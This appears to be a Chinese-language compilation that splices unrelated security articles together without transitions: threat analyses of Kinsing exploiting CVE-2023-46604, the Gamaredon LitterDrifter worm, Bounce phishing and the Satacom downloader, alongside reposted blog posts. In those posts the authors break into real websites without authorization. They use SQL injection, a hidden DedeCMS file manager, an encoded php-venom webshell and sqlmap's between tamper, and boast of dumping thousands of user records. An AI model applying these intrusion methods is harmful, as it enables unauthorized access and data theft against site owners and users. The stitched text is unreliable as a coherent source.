惡意利用CVE-2023-46604漏洞目前,存在利用ProcessBuilder方法在受影響的系統上執行命令的公開漏洞。在Kinsing的背景下,CVE-2023-46604被用來在易受攻擊的系統上下載和執行Kinsing加密貨幣礦工和惡意軟件。

4.png

使用ProcessBuilder方法進行開發

一旦成功利用,加密貨幣礦工和惡意軟件將下載惡意安裝程序,然後使用bash執行惡意腳本。

5.png

通過bash執行惡意腳本

一旦bash腳本被執行,Kinsing惡意軟件就會從命令與控制(CC)服務器為各種體系結構下載額外的二進製文件和有效負載。

6.png

從CC服務器下載額外的二進製文件和有效負載

Kinsing惡意軟件的一個有趣特徵是,它在進程、crontab和活動網絡連接中積極尋找正在活動的加密貨幣礦工,例如與Monero綁定的礦工或利用Log4Shell和WebLogic漏洞的礦工,然後繼續阻止它們的進程和網絡連接。此外,Kinsing從受攻擊主機的crontab中刪除有競爭關係的惡意軟件和礦工。

7.png

為Kinsing二進製文件分配一個Linux環境變量,然後執行它。

8.png

最後,Kinsing每分鐘添加一個cronjob來下載並執行它的惡意引導腳本。

9.png

每分鐘負責下載和執行Kinsing的惡意引導腳本的cronjob

這確保了受影響主機上的持久性,並確保最新的惡意Kinsing二進製文件在受影響主機上可用。

Kinsing通過在/etc/ld.so中加載它的rootkit來加倍地使用它的持久性和攻擊性預加載,完成一個完整的系統攻擊。

10.png

加載Kinsing rootkit“/etc/ld.so.preload”

總結CVE-2023-46604漏洞仍然在被各種攻擊者利用,例如Kinsing惡意軟件利用背後的組織,濫用此漏洞執行惡意活動。

使用有Apache ActiveMQ時必須立即採取行動,盡快修補CVE-2023-46604漏洞,並降低與Kinsing相關的風險。鑑於惡意軟件跨網絡傳播和善於利用其他漏洞的特點,當務之急要維護最新的安全補丁,定期審計配置,並監控網絡流量異常活動,這些都是綜合網絡安全戰略的關鍵組成部分。

微信截图_20231118184928.png

Gamaredon又被稱為Primitive Bear、ACTINIUM和Shuckworm,它的大規模活動通常伴隨著針對特定目標的數據收集工作,這些目標的選擇一般是出於間諜目的。這些活動與部署各種機制和工具並行,機制和工具又盡可能多地保持對這些目標的訪問。其中一種工具是USB傳播蠕蟲,我們將其命名為LitterDrifter。

LitterDrifter蠕蟲是用VBS編寫的,有兩個主要功能:在USB驅動器上自動傳播,以及與廣泛、靈活的命令和控制服務器進行通信。這些特性以與組織目標一致的方式實現,在廣泛目標上維護持久的命令和控制(C2)通道。

接下來,我們將深入分析Gamaredon的LitterDrifter惡意軟件及其C2基礎設施。

Gamaredon的攻擊目標包括烏克蘭、美國、越南、智利、波蘭和德國等多個國家。

1.png

LitterDrifter提交的病毒總數

該組織最近開始部署LitterDrifter,旨在通過可移動USB驅動器傳播並保護C2通道。

LitterDrifter概述LitterDrifter是一種自我傳播的蠕蟲,具有兩個主要功能:在驅動器上傳播,並建立通往Gamaredon廣泛指揮和控制基礎設施的C2通道。這兩個功能駐留在一個以“trash.dll”形式保存到磁盤的業務流程組件中,儘管它有文件擴展名,但它實際上就是一個VBS。

2.png

LitterDrifter高級執行流程

dll作為初始的編排組件,其中運行的主要功能是解碼和執行其他模塊,並在受害者環境中保持初始持久性。

成功執行後,它將運行提取的兩個模塊:

1. 散佈器(Spreader)模塊:在系統中傳播惡意軟件,並通過優先感染mediatype=NULL的邏輯磁盤(通常與USB可移動媒體相關),將其傳播到其他環境。

2. C2模塊:通過生成內置C2服務器的隨機子域來檢索命令和控制服務器IP地址,同時還維護一個備份選項,以便從Telegram通道檢索C2 IP地址。它的主要目的是建立與攻擊者CC服務器的通信,並執行傳入的有效負載。

Dumpster Diving(垃圾搜索)DEOBFUSCODER去混淆編碼編排組件(稱為DEOBFUSCODER)是嚴重混淆的,它是由一系列帶有字符替換混淆的字符串構造的,由7個具有名稱混淆的函數和變量組成。在“Deobfucate”操作的整個運行過程中,LitterDrifter調用一個函數,該函數將執行延遲幾秒鐘(具體時間因示例而異),以延遲後續操作。

main函數接受兩個編碼字符串(另外兩個惡意組件)作為參數。然後,它在用戶的“Favorites”目錄下聲明了兩個路徑,用於存儲來自VBS的其他2個編碼組件的兩個解碼腳本。

為了確保其持久性,Deobfuscoder將原始腳本複製到用戶目錄中名為“trash.dll”的隱藏文件中。

腳本對提供的編碼字符串進行解碼,並將它們作為有效負載組件“jersey.webm”和擴展程序組件“jaw.wm”寫入“收藏夾”目錄,文件的名稱和擴展名以及%userprofile%中的位置因變體而異。

在創建這些文件之後,惡意軟件繼續為這兩個組件中的每一個設置計劃任務,確保它們定期執行。此外,它在註冊表運行項中為用戶的啟動項添加了一個條目,以確保它們在啟動時運行。

任務和啟動條目都使用聽起來像“RunFullMemoryDiagnostic”和“ProcessMemoryDiagnosticEvents”這樣的技術名稱進行偽裝,以顯得合法並避免引起懷疑。

3.png

編排器DEOBFUSCODER的Main Function解混淆片段

整個流程被模糊的函數和變量名以及內聯腳本的使用故意模糊,這使得一般的觀察者很難辨別其意圖和活動。

Spreader模塊分析Spreader模塊的核心本質在於遞歸地訪問每個驅動器中的子文件夾,並創建LNK誘餌快捷方式,以及隱藏的“trash.dll”文件副本。

4.png

trash.dll作為一個隱藏文件與一個誘餌LNK一起分佈在USB驅動器中

在執行時,該模塊使用Windows Management Instrumentation (WMI)查詢計算機的邏輯驅動器,並蒐索MediaType值設置為null的邏輯磁盤,這是一種通常用於識別可移動USB驅動器的方法。

5.png

LitterDrifter的散佈器組件

對於檢測到的每個邏輯驅動器,傳播程序調用createShortcutsInSubfolders函數。在這個函數中,它將所提供文件夾的子文件夾迭代到深度2。

對於每個子文件夾,它使用createsshortcut函數作為“Create LNK”操作的一部分,該操作負責生成具有特定屬性的快捷方式。這些快捷方式是從代碼中的數組中隨機選擇名稱的LNK文件。一個誘餌名稱示例如'Bank_accоunt', 'постановa', 'Bank_accоunt', 'службовa', 'cоmpromising_evidence'。 LNK文件使用wscript.exe***執行帶有指定參數“”“trash.dll”“/webm//e:vbScript//b/wm/cal”的“trash.dll”。除了生成快捷方式外,該函數還在子文件夾中創建一個隱藏的“trash.dll”副本。

6.png

Spreader組件中用於迭代子文件夾的函數

C2模塊分析:清除垃圾Gamaredon的CC方法是非常獨特的,因為它使用域作為C2服務器的流通IP地址的佔位符。

在嘗試聯繫C2服務器之前,腳本檢查%TEMP%文件夾中是否有一個現有的C2配置文件,該文件的名稱在惡意軟件中是硬編碼的。這種機製作為惡意軟件的自檢,驗證它是否已經感染了設備。如果存在,當前執行可能只是由前面討論的持久性機制觸發的計劃執行;如果沒有現有的配置文件,惡意軟件將切換設備並使用WMI查詢ping Gamaredon的其中一個域:select * from win32_pingstatus where address='Write

7.png

LitterDrifter使用WMI查詢檢索C2 IP地址

有了IP地址,LitterDrifter將IP構造成URL。格式通常為http://

最終的結果是一個用戶代理,看起來類似於mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml, like gecko) chrome/88.0.4324.152 yabrowser/21.2.3.106 yowser/2.5 safari/537.36;

8.png

LitterDrifter準備HTTP請求,構造URL和用戶代理

請求的HTTP標頭也經過精心定制。例如,在一個樣本中,Referer字段包含https://www.crimea.kp.ru/daily/euromaidan/,它還在Cookie字段中隱藏了Accept-Language和字符串marketCookie的一些細節。

9.png

HTTP請求函數

LitterDrifter使用一個失敗計數器來選擇哪個C2方法是相關的。每次C2未能返回有效負載或Telegram備份通道時,失敗計數器都會增加,LitterDrifter從中提取替代C2。代碼流表明,要返回的第一個答案通常是一個Telegram頻道ID,它保存在備份文件中。

根據失敗計數,LitterDrifter選擇連接哪個C2:

1.如果失敗計數器當前設置為0,則對保存在配置文件中的文件執行請求。

2.如果失敗計數器當前設置為1,LitterDrifter將嘗試使用WMI Query解析其嵌入的C2域,如前所述。

3.如果失敗計數器設置為2,LitterDrifter嘗試連接到從Telegram備份通道提取的C2,使用不同的用戶代理和https://www.interfax.ru/tags/的Referer,這是另一個俄羅斯新聞網站,它會從中提取一個用作C2的IP地址。

10.png

Gamaredon的Telegram頻道隱藏了一個CC的IP地址

如果在C2應答中找到有效負載,LitterDrifter將嘗試解碼它。它打開所有base64內容,並嘗試運行解碼後的數據。根據分析,負載沒有下載到大多數目標。

11.png

LitterDrifter的失敗計數選項和接收有效負載的執行(去混淆)

基礎設施在整個分析過程中,Gamaredon在這次行動中使用的基礎設施有明顯的模式。包括註冊模式,因為Gamaredon的LitterDrifter使用的所有域名都是由REGRU-RU註冊的,並且是TLD .ru的一部分。

這些發現與過去關於Gamaredon基礎設施的其他報告一致。

基於其中的一些模式,我們能夠將特定的域和子域與LitterDriffter的活動聯繫起來,並將其他域與Gamaredon的其他活動集群聯繫起來。

在LitterDrifter活動中,C2模塊通過WMI查詢獲得gamaredon擁有的域的解析。它通過使用隨機單詞和數字生成硬編碼域的隨機子域來實現這一點,因此每個域都顯示出不同範圍的相關子域。有些域只有幾個子域,而另一些則有幾百個子域。下圖表顯示了每個域的子域數量:

12.png

每個域的子域數量

如前所述,對Gamaredon域的WMI查詢返回一個IP地址,該地址用作活動的操作C2。平均而言,一個IP地址可以運行大約28小時。但是,作為活動C2的IP地址通常一天會更改幾次,所使用的所有IP地址都可能屬於同一子網,如下所示:

13.png

過去兩個月每天的CC IP地址數目

總結很明顯,LitterDrifter是為支持大規模收集操作而設計的,它利用簡單而有效的技術,盡可能觸及廣泛的目標,但LitterDrifter並不依賴於突破性的技術,可能看起來是一個相對簡單的惡意軟件。

概要:Bounce類釣魚郵件激增

本週(2023年7月17日~21日),思安麥賽安全實驗室觀察到大量增加的Bounce釣魚郵件,請各單位和企業做好相關的防護。

熱點描述:

關於此批Bounce釣魚郵件,如下圖所示:

圖1. Bounce釣魚郵件樣本

1.jpg

為了隱藏真實身份並躲避欲攻擊對象所在公司的郵件安全檢測,防止攻擊郵件被攔截,黑客偽造並使用目標攻擊對象的郵件地址作為發件人郵件地址,並故意將郵件投遞給一個知名公司的不存在郵件地址。因為收件人地址不存在,該知名的公司的郵件服務器會向發件人地址發送bounce退信郵件,通知該發件人郵件投遞失敗。

當被攻擊對象所在公司的郵件服務器收到bounce退信郵件後,因為該郵件來自於知名公司,所以會正常的接收該退信郵件並將郵件放置到發件人的收件箱。一旦員工打開退信郵件的附件後,將查看到黑客發送來的威脅信息:

圖2. 含威脅信息的郵件

2.jpg

專家分析:

思安麥賽安全實驗室的專家對此郵件的風險特徵進行了技術分析。

分析1:源IP地址

對bounce退信郵件的附件進行分析,根據郵件頭的指定字段可知,該惡意郵件的來源IP地址(攻擊者IP地址)是121.52.144.171。

圖3. 郵件頭部源IP字段展示

3.jpg

該IP地址位於“巴基斯坦/旁遮普邦/拉瓦爾品第”地區,網絡服務商為“HEC”。當前該IP地址下使用了“華為USG6630防火牆”和“騰達路由器”設備,說明該IP地址下的組織很大概率為一個正常運行的企業或服務商,而黑客攻陷或租用了該組織的計算機,並使用該計算機發送了Bounce攻擊郵件,而非使用私人網絡環境發起攻擊。

圖4. 該IP下的華為USG6630防火牆

4.jpg

圖5. 該IP下的騰達路由器

5.jpg

與此同時,查詢該IP地址的信譽可知,此IP地址所在的網段,曾經存在大量惡意IP地址:

圖6. 該IP網段下曾存在大量惡意IP地址

6.jpg

分析2:偽造發件人地址

攻擊者從位於巴基斯坦的計算機上,偽裝為國內某家知名公司的員工,向馬來西亞一家金融機構發送了攻擊郵件。該馬來西亞公司的郵件設備,嘗試對發件人郵件地址進行了SPF和DKIM驗證,驗證發件人地址的有效性。然而很可惜,該國內知名公司的域名並未開啟相關的郵件防偽造檢測機制。因此馬來西亞公司的郵件設備未拒絕該郵件,並因為收件人在該公司不存在,而向中國公司發出了退信郵件。

圖7. 被攻擊公司未開啟郵件防偽造機制

7.jpg

圖8. 通過了對發件人地址有效性的驗證

8.jpg

分析3:郵件攻擊鏈路溯源

經分析此郵件的完整攻擊溯源圖9如下所示:

9.jpg

總結與攻擊溯源:

經思安麥賽安全實驗室的分析測試,我們認為此“Bounce釣魚”郵件樣本含有的風險特徵包括:

攻擊起源IP地址下的組織很大概率為一個正常運行的企業或服務商,而黑客攻陷或租用了該組織的計算機,並使用該計算機發送了Bounce攻擊郵件;

攻擊起源IP地址所在的網段,曾經存在大量惡意IP地址;

攻擊者偽裝為國內某家知名公司的員工發送郵件,該中國公司的域名並未開啟相關的郵件防偽造檢測機制;

郵件正文內容中含比特幣、匯款、賬戶等敏感詞彙。

防范建議:

Bounce釣魚郵件是一種郵件攻擊手段,通常用於隱蔽地向攻擊目標發送惡意內容,而避免直接暴露攻擊者的郵件地址,並躲避被攻擊目標組織的郵件安全檢測。

要防範Bounce釣魚郵件應遵循如下一些安全實踐:

1. 本域名郵件地址驗證:實施SPF、DKIM和DMARC等發件人驗證技術,從而幫助第三方組織驗證郵件的真實來源;

2. 警惕緊急情況:釣魚郵件常常試圖製造緊急情況,以迫使受害者匆忙採取行動。要保持冷靜,不要受到威脅或誘惑;

3. 使用郵件安全防護設備:部署可靠且穩定的郵件安全網關、郵件安全沙箱等郵件安全防護設備;

4. 定期檢查安全防護設備:確保郵件安全防護設備的策略配置正確且生效,並確保設備的防護庫已升級到最新版本;

5. 培養安全意識:加強員工和自己的安全意識培訓,教育他們如何識別潛在的惡意郵件,並提醒他們不要隨意打開可疑的附件;

6. 鼓勵員工報告可疑郵件:如果收到可疑郵件,員工應及時將其報告給您的組織或相關機構,以幫助企業採取適當的行動保護其他員工;

7. 驗證財務交易:如果收到涉及財務交易的電子郵件,避免通過郵件直接響應。相反,通過銀行官方網站、銀行櫃檯、財務部同事等安全渠道來驗證交易。

8. 防止個人和郵件信息洩露:盡量不要在公開的論壇、社交媒體或不受信任的網站上洩露個人和郵件信息。攻擊者可能會利用這些信息來製作更具針對性的釣魚郵件;

麥賽安全實驗室(MailSec Lab)介紹:

北京網際思安科技有限公司麥賽郵件安全實驗室(MailSec Lab)依託於網際思安過去12年積累的郵件威脅數據,匯集了一批10+工作經驗的行業專家,專注於新型郵件威脅的調研,和下一代郵件安全技術的創新性研究。在過去十多年中,MailSec Lab服務於3000+家各個行業領域的典範客戶,獲得客戶的廣泛讚譽。與此同時,實驗室積極與國際和國內知名信息安全廠商合作,廣泛開展威脅情報互換、共同研究等合作,構建共同防禦的威脅防護體系。

逛QQ空间刷到了

图片

于是有了下文。打开站点,很贴心,前台后台都可以进。

图片

图片

下面说漏洞点

  1. sql注入,有一套程序基于某个模板二开,正好我手里有这套模板且审计过。所以轻松拿下。

    图片

    无任何过滤,直接注即可。

    图片

  2. 任意文件上传

    这个我怀疑是开发自己留的后门。

    图片

    看得懂的人一眼就看出来了。直接本地新建表单提交即可。

    但是目标站有个问题,上传不回显路径,应该是注释了echo。本地搭建测试,

    图片

    上传文件名修改为这个格式。

    思路:本地复现upload,然后和远程同时提交,同一个时间点,返回的文件名应该是一样的。

    测试:图片

    复现成功。

    图片

点到为止。

另求教各位精通php审计的大佬

图片

这段代码可否有利用点。

图片

尝试各种截断始终无法执行php代码。

  转载于原文链接: https://mp.weixin.qq.com/s/hduQd7Jm72b00oSU9Ip1BQ  

一、案例1

因为最近吃鸡被外挂打自闭了,所以准备也让那些卖挂的体会一下什么叫做自闭。昨天晚上爬了快1000个卖吃鸡外挂的平台

图片

你们这些卖挂的,等我有空了一个一个捶。

发现大多数都是用的一套aspx的程序,可惜没有源码不能白盒审计,黑盒也找不到什么洞

只能找找软柿子捏,昨天晚上一口气锤了四个

图片

图片

图片

基本上都有宝塔

图片

不过php-venom 4 系列加上配套的编码器过宝塔稳得一批

图片

图片

图片

脱了裤子发现里面4000+数据

图片

今天晚上又锤了一个吃鸡外挂站

可惜尴尬的是没有写入权限

写篇大水文记录一下

1. 无套路进后台

图片

这个应该算是那种推广站,里面什么都没有,只有宣传内容

管你是什么,照锤不误。

看了一下是织梦二次开发的站

后台很容易进,这里大家都明白什么意思。

图片

图片

2.玄学后台

发现后台删了很多功能,特别是织梦的坑货文件管理器

但是从经验上来说很多这种二次开发的并不是真的把编辑器删掉了,只是在后台页面不显示了。

审查元素启动

随便找个链接改一下,替换成media_main.php?dopost=filemanager

然后点击,果然找到了文件管理器页面

图片

上传shell

图片

本来以为就这样结束了

结果发现虽然提示上传成功但是啥都没有

还以为是waf,就换了人畜无害的一张jpg上去也是啥都没有

以为是目录权限问题

找到session的临时文件,上传,照样不行

图就不放了,总之就是传不上去

觉得可能是整站没写权限

随手试试删除功能,发现可以删文件

emmmmm,所以到底是有权限没有呢

一般来说没写权限的话也就没有修改权限,也就是没有删除权限

想着是不是上传功能坏了,换个方法getshell吧

3.geshell失败

首先想到的就是改文件,里面放个shell

显示csrf token不对

搜了搜怎么解决

发现是直接改check函数,第一句加上return

结果修改config.php 文件也弹这个错误

所以就陷入死循环。。。

改标签也是一样的错误。

然后试了织梦的各个0day,后台代码任意执行

提示执行成功了,但是要么404页面,要么就是csrf token报错

为啥老是csrf token检测失败,以前就没遇到过这种问题。是我操作不对吗?

如果有表哥知道为什么的话麻烦告诉我一下谢谢

4.成功getshll

本来想想算了,然后出去吃了个饭。

然后想着既然是弱口令会不会有其他人的后门呢。

就想起来织梦有个自带的后门查杀功能

同样的审查元素,找到后门查杀功能,开始扫描

果然发现可疑文件

然后一看全是其他人的后门

随便找一个,连接上去


5. 最后

发现是星外主机,并且全站没有写入权限,难怪传不上去。。。

翻了翻目录,不能跨站,没写权限,无法bypass disable function

等于是啥都没有。。。

但是神奇的是可以任意文件删除

站就不删了,保存一下证据


二、案例2

首先打开网站我们可以看到他的炫酷界面

暖心公告

不要脸的宣传词

1.发现注入

基于tp3开发,后台/admin

尝试万能密码

提示密码错误

尝试admin admin888 提示账号不存在

两者回显不同,考虑可能存在注入

2.无法利用

burp抓包发送到repeater进行进一步测试

发现条件为真时返回status: -2,条件为假时返回status: -1

进一步印证了猜想,后台存在注入

扔到sqlmap跑

无法检测出注入,提示一堆404 not found

开始以为是cdn封锁了sqlmap的流量,后来发现根本没什么防护。。。虚假的cdn

于是考虑可能是cms自身过滤了一些东西

3.绕过过滤

经过测试发现只要出现尖括号就会返回404

可以用between来绕过

这时就继续按照 条件真=>-2 条件假=>-1 来回显

也就满足了盲注的条件

忽然一想这个情景跟第五空间决赛的那道注入题一毛一样

真返回一个页面 假返回另一个页面 出现被过滤字符返回其它页面 并且要用between来绕过

CTF诚不欺我

所以只要在sqlmap的参数里加上--tamper=between 即可

4.最后

数据库里管理员密码用的aes加密,没有秘钥,无法解密。

普通用户登录口被关闭,无法注册也无法登录。

除了脱出来一堆孤儿的信息其他也没什么用

打包一下证据,全部提交有关部门



转载于原文链接: https://mp.weixin.qq.com/s/Bms1EPvpb1S7sU2KQX8ctA

abstract_binary_connection-1200x600.jpgSatacom下載程序,也稱為LegionLoader,是2019年出現的一個著名的惡意軟件家族。該惡意軟件利用查詢DNS服務器的技術獲取base64編碼的URL,以便接收當前由Satacom傳播的另一惡意軟件家族的下一階段。 Satacom惡意軟件通過第三方網站傳播,其中一些網站本身不提供Satacom,而是使用合法的廣告插件,攻擊者濫用這些插件將惡意廣告注入網頁。網站上的惡意鏈接或廣告將用戶重定向到惡意網站,如虛假的文件共享服務。

我們將在本文介紹最近與Satacom下載程序相關的惡意軟件傳播活動。 Satacom下載程序釋放的惡意軟件的主要目的是通過對目標加密貨幣網站進行web注入,從受害者的賬戶中竊取比特幣。該惡意軟件試圖通過為基於Chromium的網絡瀏覽器安裝擴展來實現這一點,該瀏覽器隨後與C2服務器通信,其地址存儲在比特幣交易數據中。

該惡意擴展具有各種JS腳本,用於在用戶瀏覽目標網站時執行瀏覽器操作,包括枚舉和對加密貨幣網站的操作。它還能夠操作一些電子郵件服務的外觀,如Gmail、Hotmail和雅虎,以隱藏其與電子郵件中顯示的受害者加密貨幣的活動。

Satacom技術分析最初的攻擊始於ZIP壓縮文件。它是從一個似乎模仿軟件門戶的網站下載的,該網站允許用戶免費下載他們想要的(通常是破解的)軟件。該壓縮包包含幾個合法DLL和一個惡意Setup.exe文件,用戶需要手動執行這些文件才能啟動攻擊鏈。

各種類型的網站被用來傳播惡意軟件。其中一些是帶有硬編碼下載鏈接的惡意網站,而另一些則通過合法的廣告插件注入了“下載”按鈕。在這種情況下,即使是合法的網站也可能在網頁上顯示惡意的“下載”鏈接。在撰寫本文時,我們看到QUADS插件被濫用來傳播Satacom。

1.png

帶有嵌入式QUADS廣告插件的網站

該插件被濫用的方式與其他廣告網絡被濫用惡意廣告的方式相同:攻擊者推廣看起來像“下載”按鈕的廣告,並將用戶重定向到攻擊者的網站。

2.png

WP QUADS廣告插件內的網站的內容

用戶點擊下載按鈕或鏈接後,會有一系列重定向,自動引導他們通過各種服務器到達偽裝成文件共享服務的網站,以傳播惡意軟件。在下面的截屏中,我們可以看到作為重定向鏈最終目的地的網站示例。

3.png

虛假“文件共享”服務

用戶下載並提取大約7MB大小的ZIP文件後,會顯示一些二進製文件、EXE和DLL文件。 DLL是合法的庫,但“Setup.exe”文件是惡意二進製文件。它大約是450MB,但是填充了大量空字節,使其更難以分析。未添加空字節的文件的原始大小約為5MB,它是一個Inno-Setup類型的文件。

4.png

添加到PE文件的空字節

Inno-Setup安裝程序通常是這樣的:在運行時,二進製文件將子安裝程序提取到一個名為“Setup.tmp”的臨時文件夾中。然後,它運行子安裝程序“Setup.tmp”文件,該文件需要與主安裝程序通信,參數指向原始“Setup.exe”及其包的位置,以便檢索用於下一步安裝的“Setup.exe”文件。

對於Satacom安裝程序來說,Setup.tmp文件一旦運行,就會在Temp目錄中創建一個新的PE DLL文件。創建DLL後,子安裝程序將其進行自我加載,並從DLL運行一個函數。

然後,它解密Satacom的有效負載,並創建一個新的“explorer.exe”子進程,以便將惡意軟件注入“explorer.exe”進程。

由此,研究人員可以得出結論,惡意軟件在遠程“explorer.exe”進程上執行一種常見的進程注入技術,稱為進程空心化(process hollowing)。這是一種用於逃避檢測的技術。

注入“explorer.exe”進程的惡意負載使用RC4加密實現來解密其配置數據,通信字符串以及受害者設備上其他釋放的二進製文件的數據,加密的數據存儲在惡意負載中。

惡意軟件在每一步都使用不同的硬編碼密鑰來解密數據。惡意軟件使用四個不同的RC4密鑰來執行其操作,首先解密HEX字符串數據,將其用於其初始通信目的。

5.png

RC4密鑰(左圖)和加密的HEX字符串(右圖)

在上面的截屏中,左側窗格將四個RC4硬編碼密鑰顯示為HEX字符串,在右側窗格中,我們可以看到使用RC4“config_strings”密鑰解密的HEX字符串以獲得用於與C2通信的第一次初始化的字符串。如果我們自己使用密鑰解密字符串,我們會得到截屏中顯示的結果。

一旦HEX字符串被解密,“explorer.exe”將啟動其第一次通信。為此,它通過Google DNS(8.8.8.8,另一個解密的字符串)執行對don-DNS[.]com(解密的HEX字符串)的DNS請求,並查詢TXT記錄。

6.png

通過谷歌在don-dns[.]com上查詢TXT記錄

一旦請求完成,DNS TXT記錄將作為另一個base64編碼的RC4加密字符串“ft/gGGt4vm96E/jp”接收。由於我們擁有所有的RC4密鑰,我們可以嘗試使用“dns_RC4_key”解密字符串,並獲得另一個URL。這個URL是有效負載的實際下載位置。

7.png

TXT記錄的解密字符串

有效負載:惡意瀏覽器擴展Satacom下載程序將各種二進製文件下載到受害者的設備上。在本次活動中,研究人員觀察到一個PowerShell腳本正在下載,該腳本安裝了一個惡意的基於Chromium的瀏覽器擴展,該擴展針對Google Chrome、Brave和Opera。

擴展安裝腳本負責從第三方網站服務器下載ZIP壓縮文件中的擴展。 PowerShell腳本將壓縮文件下載到計算機的Temp目錄,然後將其提取到Temp目錄中的文件夾中。

之後,腳本將在“桌面”、“快速啟動”和“開始菜單”等位置搜索每個目標瀏覽器的快捷方式的可能位置。它還配置瀏覽器安裝文件的位置和擴展插件在計算機上的位置。

最後,PS腳本將依次搜索上述位置的任何鏈接(.LNK)文件,並修改所有現有瀏覽器快捷方式的“Target”參數,標記為“-load extension=[pathOfExtension]”,以便快捷方式加載安裝了惡意擴展的瀏覽器。

8.png

帶有擴展參數的Chrome快捷方式

執行此操作後,腳本將關閉設備上可能運行的任何瀏覽器進程,以便受害者下次打開瀏覽器時,擴展程序將加載到瀏覽器中,並在用戶瀏覽互聯網時運行。

這種擴展安裝技術允許攻擊者在不知情的情況下將插件添加到受害者的瀏覽器中,而無需將其上傳到官方擴展商店,如Chrome商店,該商店要求插件滿足商店的要求。

9.png

擴展安裝PowerShell腳本

惡意擴展分析安裝擴展後,我們可以通過檢查存儲在擴展目錄中的特定文件來分析其功能和特性。如果我們看一下'manifest.json'文件的第一行,我們會發現擴展插件通過將插件命名為“Google Drive”來偽裝自己,所以即使用戶訪問瀏覽器插件,他們也只能看到一個名為“Google Drive”的插件,它看起來就像是安裝在瀏覽器中的另一個標準Google擴展插件。

10.png

manifest.json文件設置

當用戶瀏覽時,另一個總是在後台運行的惡意擴展文件是“background.js”,它負責初始化與C2的通信。如果我們仔細查看JavaScript代碼,我們會在腳本底部發現一個有趣的函數調用,其中包含一個字符串變量,該變量是比特幣錢包的地址。

11.png

Background.js腳本片段

查看腳本的代碼,我們可以得出結論,擴展將從硬編碼的URL中獲取另一個字符串,腳本將比特幣地址插入其中。 JavaScript接收JSON格式的數據,顯示錢包的交易活動,然後在最新的交易詳細信息中查找特定的字符串。

12.png

詳細JSON

頁面上有兩個字符串,其中包含C2地址。 “script”字符串是包含惡意軟件C2主機的HEX字符串,“addr”字符串是Base58編碼的C2地址。使用特定錢包的最後一筆加密貨幣交易來檢索C2地址的原因是,攻擊者可以隨時更改服務器地址。此外,這種技巧使禁用惡意軟件與其C2服務器的通信變得更加困難,因為禁用錢包比阻止或禁止IP或域要困難得多。如果C2服務器被阻止或關閉,攻擊者可以通過執行新事務將“script”或“addr”字符串更改為不同的C2服務器。由於擴展總是檢查這些字符串來檢索C2,因此如果它發生了更改,它總是會請求新的字符串。

13.png

從交易明細中解碼C2地址

該擴展有幾個其他腳本,它們負責初始化接收到的命令,並在檢索到C2地址後發揮作用,因為這些腳本需要從C2獲得一些重要信息。例如,C2保存比特幣地址,當比特幣從受害者的錢包轉移到攻擊者的錢包時將使用該地址。

14.png

攻擊者的比特幣錢包地址

為了獲得受害者的加密貨幣,攻擊者在目標網站上使用web注入。 web注入腳本也是C2在擴展與之聯繫後提供的。在下面的截屏中,我們可以看到來自擴展的“injections.js”腳本,它從C2服務器獲取web注入腳本。

15.png

injections.js腳本

在插件與C2服務器聯繫後,服務器會使用將在目標網站上使用的web注入腳本進行響應。

16.png

C2服務器的Webinject腳本

如果我們仔細看一下腳本,就可以看到攻擊者針對的是各種網站。在上面顯示的腳本版本中,我們可以看到它針對的是Coinbase, Bybit, KuCoin, Huobi和Binance用戶。

由於C2中的腳本可以隨時更改,攻擊者可以添加或刪除其他web注入目標,也可以開始以比特幣以外的加密貨幣為目標,這使得該擴展非常動態,並允許攻擊者通過更改腳本來控制惡意擴展。

查看腳本,我們可以看到擴展在目標網站上執行各種操作。例如,它能夠檢索受害者的地址、獲取賬戶信息、繞過2FA等等。此外,它能夠將比特幣從受害者的錢包轉移到攻擊者的錢包。

17.png

web注入腳本中的函數

查看完整的web注入腳本,我們可以得出結論,其思路是從安裝了惡意擴展的受害者那裡竊取比特幣。該擴展程序對賬戶執行各種操作,以便使用web注入腳本遠程控制賬戶,最終該擴展程序試圖將比特幣提取到攻擊者的錢包中。為了規避交易的雙因素身份驗證設置,web注入腳本使用了針對此保護技術的繞過技術。

18.png

從web注入腳本中提取比特幣函數的代碼段

在竊取加密貨幣之前,擴展程序與C2服務器進行通信,以獲得最小比特幣值。然後,它將這個值與目標錢包中的實際金額進行比較。如果錢包中包含的加密貨幣少於C2收到的最低金額,則不會從中提取任何加密貨幣。

19.png

C2的最小金額

在竊取比特幣之前,該腳本還執行其他幾項檢查。例如,它還檢查比特幣與美元的匯率。當目標錢包中的比特幣金額符合C2檢查時,腳本執行取款功能,從受害者那裡竊取比特幣。

20.png

執行餘額檢查

除了竊取比特幣之外,惡意擴展還會執行其他操作來隱藏其活動。

例如,惡意擴展包含針對三種不同電子郵件服務的腳本:Gmail、Hotmail和Yahoo,其思路是隱藏惡意擴展執行的交易的電子郵件確認。

一旦受害者到達電子郵件服務的頁面,每個腳本都會對電子郵件進行可視化更改。它搜索預定義的電子郵件標題和內容,當找到它們時,它只需通過將HTML代碼注入郵件正文來向受害者隱藏它們。因此,受害者不知道進行了將加密貨幣轉移到攻擊者錢包的特定交易。

21.png

針對Gmail的擴展JS

此外,該擴展程序可以操作目標網站的電子郵件線程。因此,如果受害者從Binance等網站打開一個線程,它可以更改電子郵件的內容,並顯示一個看起來與真實電子郵件線程完全相似的虛假電子郵件線程。它還包含所需字符串的佔位符,擴展插件可以將這些字符串注入到消息頁面的內容中。

22.png

偽造電子郵件線程模板

惡意擴展有許多其他JavaScript,它能夠執行其他操作。例如,它可以通過瀏覽器提取信息,如係統信息、cookie、瀏覽器歷史記錄、打開的選項卡的截屏,甚至可以接收來自C2服務器的命令。

23.png

JavaScript:從C2(左圖)請求命令並進行截屏(右圖)

擴展的目的是竊取比特幣並操作目標加密貨幣網站和電子郵件服務,使惡意軟件盡可能隱秘進行,這樣受害者就不會注意到任何有關欺詐交易的信息。由於用於通過特定比特幣錢包的最後一筆交易檢索C2服務器的技術,該擴展可以更新其功能,該技術可以隨時通過對該錢包進行另一筆交易來修改。這允許攻擊者將域URL更改為其他URL,以防被殺毒軟件禁止或阻止。

受害者分析此活動針對世界各地的個人用戶,根據觀察,2023年第一季度,以下國家的用戶最常被攻擊:巴西、阿爾及利亞、土耳其、越南、印度尼西亞、印度、埃及和墨西哥。

總結Satacom是一個下載程序,它仍在運行活動,並由背後的攻擊者開發。這個攻擊者繼續使用各種技術傳播惡意軟件家族,例如通過WordPress網站的廣告插件進行廣告注入。

